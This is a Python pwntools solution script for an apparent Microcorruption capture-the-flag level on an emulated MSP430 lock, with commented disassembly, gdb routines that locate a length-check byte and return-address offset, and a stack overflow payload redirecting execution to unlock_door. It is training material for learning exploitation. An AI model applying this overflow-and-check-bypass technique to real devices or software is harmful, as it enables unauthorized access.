from binascii import hexlify

from pwn import *

MSP430_EMU = args['MSP430_EMU']
MSP430_GDB = 'msp430-gdb'
BINARY = sys.argv[1]
PROMPT = b'gdb> '

context.endian = 'little'
emu = process([MSP430_EMU, '-g', BINARY])
dbg = process([MSP430_GDB, '-ex', 'target remote localhost:3713',
               '-ex', f'set prompt {PROMPT.decode("utf-8")}'])

dbg.recvuntil(PROMPT)

# - unlike in Cusco, strcpy is used on the user input
# - additionally, it's checked for its length

# 452c <login>
# 452c:  3150 eeff      add	#0xffee, sp
# 4530:  f140 3800 1100 mov.b	#0x38, 0x11(sp)
# 4536:  3f40 7c44      mov	#0x447c "Enter the password to continue.", r15
# 453a:  b012 f845      call	#0x45f8 <puts>
# 453e:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
# 4542:  b012 f845      call	#0x45f8 <puts>
# 4546:  3e40 3f00      mov	#0x3f, r14
# 454a:  3f40 0024      mov	#0x2400, r15
# 454e:  b012 e845      call	#0x45e8 <getsn>
# 4552:  3e40 0024      mov	#0x2400, r14
# 4556:  0f41           mov	sp, r15
# 4558:  b012 2446      call	#0x4624 <strcpy>
# 455c:  0f41           mov	sp, r15
# 455e:  b012 5244      call	#0x4452 <test_password_valid>
# 4562:  0f93           tst	r15
# 4564:  0524           jz	#0x4570 <login+0x44>
# 4566:  b012 4644      call	#0x4446 <unlock_door>
# 456a:  3f40 d144      mov	#0x44d1 "Access granted.", r15
# 456e:  023c           jmp	#0x4574 <login+0x48>
# 4570:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15
# 4574:  b012 f845      call	#0x45f8 <puts>
# 4578:  f190 3800 1100 cmp.b	#0x38, 0x11(sp)
# 457e:  0624           jeq	#0x458c <login+0x60>
# 4580:  3f40 ff44      mov	#0x44ff "Invalid Password Length: password too long.", r15
# 4584:  b012 f845      call	#0x45f8 <puts>
# 4588:  3040 3c44      br	#0x443c <__stop_progExec__>
# 458c:  3150 1200      add	#0x12, sp
# 4590:  3041           ret


def gdb_output(output):
    return output.removesuffix(PROMPT).decode('utf-8').strip().split('\n')


# let's check what offset the length variable sits at


def check_variable_offset():
    dbg.sendlinethen(PROMPT, b'break *0x4578')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(cyclic(32))

    dbg.recvuntil(PROMPT)
    output = gdb_output(dbg.sendlinethen(PROMPT, b'x/4xb $sp+0x11'))[0]
    subseq = bytes([int(byte, 16) for byte in output.split(':')[1].split()])
    offset = cyclic_find(subseq)
    print(offset)


# check_variable_offset()

# - the variable is 17 bytes into the stack
# - therefore it can be added to the payload and a similar strategy
#   used to find the offset of the return address

def check_return_offset():
    dbg.sendlinethen(PROMPT, b'break *0x4590')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))

    pattern = list(cyclic(32))
    pattern[17] = 0x38
    emu.sendline(b':' + hexlify(bytes(pattern)))

    dbg.recvuntil(PROMPT)
    output = gdb_output(dbg.sendlinethen(PROMPT, b'x/4xb $sp'))[0]
    subseq = bytes([int(byte, 16) for byte in output.split(':')[1].split()])
    offset = cyclic_find(subseq)
    print(offset)


# check_return_offset()

# - the offset is 18, so no padding before return address
# - like with Cusco, the obvious place to return to is unlock_door at 0x4446

def exploit():
    payload = b'A' * 17 + b'\x38' + p16(0x4446)

    dbg.sendline(b'continue')
    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(payload))

    print(emu.recvall().decode('utf-8'))


exploit()